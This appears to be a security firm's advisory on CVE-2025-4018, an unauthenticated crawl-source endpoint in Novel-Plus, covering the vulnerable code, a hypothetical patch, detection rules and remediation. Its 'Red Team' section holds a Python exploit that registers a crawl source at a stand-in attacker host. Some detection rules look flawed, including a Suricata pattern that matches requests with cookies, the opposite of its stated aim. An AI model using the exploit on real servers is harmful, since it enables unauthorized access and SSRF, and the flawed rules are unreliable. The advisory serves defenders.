CVE-2025-4018

Executive Summary

CVE-2025-4018 is a critical authentication bypass vulnerability in the Novel-Plus project, specifically in the addCrawlSource function within CrawlController.java. The vulnerability allows an unauthenticated remote attacker to invoke the crawl source addition endpoint without any authentication checks, potentially leading to arbitrary data ingestion, server-side request forgery (SSRF), or further exploitation of the crawling functionality. The vendor has not responded to disclosure, and no official patch is available. The exploit has been publicly disclosed, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivial to exploit remotely without any authentication, making it a high-priority target for threat actors.

Deep Dive & Mechanics

The flaw resides in the addCrawlSource method of CrawlController.java. The endpoint is mapped to receive HTTP POST requests but lacks any authentication or authorization checks. An attacker can send a crafted request to add a malicious crawl source, which the system will then process. This can lead to:

• Data Exfiltration: The crawler may fetch sensitive internal resources.
• Server-Side Request Forgery (SSRF): The crawler can be directed to internal services.
• Remote Code Execution (RCE): If the crawl source processing involves deserialization or command execution, RCE may be possible.
• Denial of Service (DoS): By adding an infinite loop or resource-intensive source.

The vulnerable code path does not validate the user's session or token before processing the request.

Vulnerable vs. Patched Code

Vulnerable Code (CrawlController.java):

@PostMapping("/addCrawlSource")
public String addCrawlSource(@RequestBody CrawlSource source) {
    // No authentication check
    crawlService.addSource(source);
    return "success";
}

Patched Code (Hypothetical):

@PostMapping("/addCrawlSource")
public String addCrawlSource(@RequestBody CrawlSource source, HttpSession session) {
    if (session.getAttribute("user") == null) {
        return "unauthorized";
    }
    crawlService.addSource(source);
    return "success";
}

The patch would require verifying the user's authentication status before processing the request.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://target.com"
payload = {
    "name": "malicious_source",
    "url": "http://attacker.com/exploit",
    "type": "RSS"
}

response = requests.post(f"{target}/addCrawlSource", json=payload)
if response.status_code == 200:
    print("Exploit successful")
else:
    print("Exploit failed")

Lab Setup:

1. Deploy a vulnerable Novel-Plus instance (commit <= 0e156c04).
2. Run the exploit script against the target.
3. Monitor the crawler logs to confirm the malicious source was added.

Blue Team

Detection:

• Monitor for POST requests to /addCrawlSource without a valid session cookie.
• Alert on unusual crawl source URLs (e.g., internal IPs, known malicious domains).
• Use network segmentation to limit outbound crawling from the application server.

Hunting:

• Search logs for addCrawlSource requests with no Authorization header.
• Review crawl source database entries for suspicious URLs.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /addCrawlSource from unauthenticated IPs.
  • Outbound connections to unusual or internal IPs from the application server.
• File System:
  • Unexpected entries in the crawl source database table.
  • Log entries showing addCrawlSource without a user context.
• Behavioral:
  • Unusual crawl activity targeting internal resources.
  • Increased outbound traffic from the application server.

Detection Engineering

YARA Rule

rule CVE_2025_4018_Novel_Plus_Auth_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-4018 in Novel-Plus"
        author = "Valters IT"
        date = "2025-04-09"
        reference = "CVE-2025-4018"
    strings:
        $s1 = "addCrawlSource" ascii wide nocase
        $s2 = "CrawlController" ascii wide nocase
    condition:
        $s1 or $s2
}

Sigma Rule

title: Novel-Plus Authentication Bypass via addCrawlSource
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated POST requests to /addCrawlSource
author: Valters IT
date: 2025-04-09
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/addCrawlSource'
        cs-cookie: null
    condition: selection
falsepositives:
    - Legitimate internal testing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4018 Novel-Plus Auth Bypass"; flow:to_server; content:"POST"; http_method; content:"/addCrawlSource"; http_uri; nocase; pcre:"/Cookie\s*:\s*[^;]*/Pi"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Restrict access to the /addCrawlSource endpoint via firewall or reverse proxy (e.g., Nginx allow/deny rules).
• Short-term: Implement authentication checks in the addCrawlSource method. Validate user session or API token.
• Long-term: Apply input validation and rate limiting to all crawl-related endpoints. Monitor for vendor patch release.
• Compensating Controls: Use Web Application Firewall (WAF) rules to block unauthenticated POST requests to the vulnerable path.

Valters IT
Securing Digital Frontiers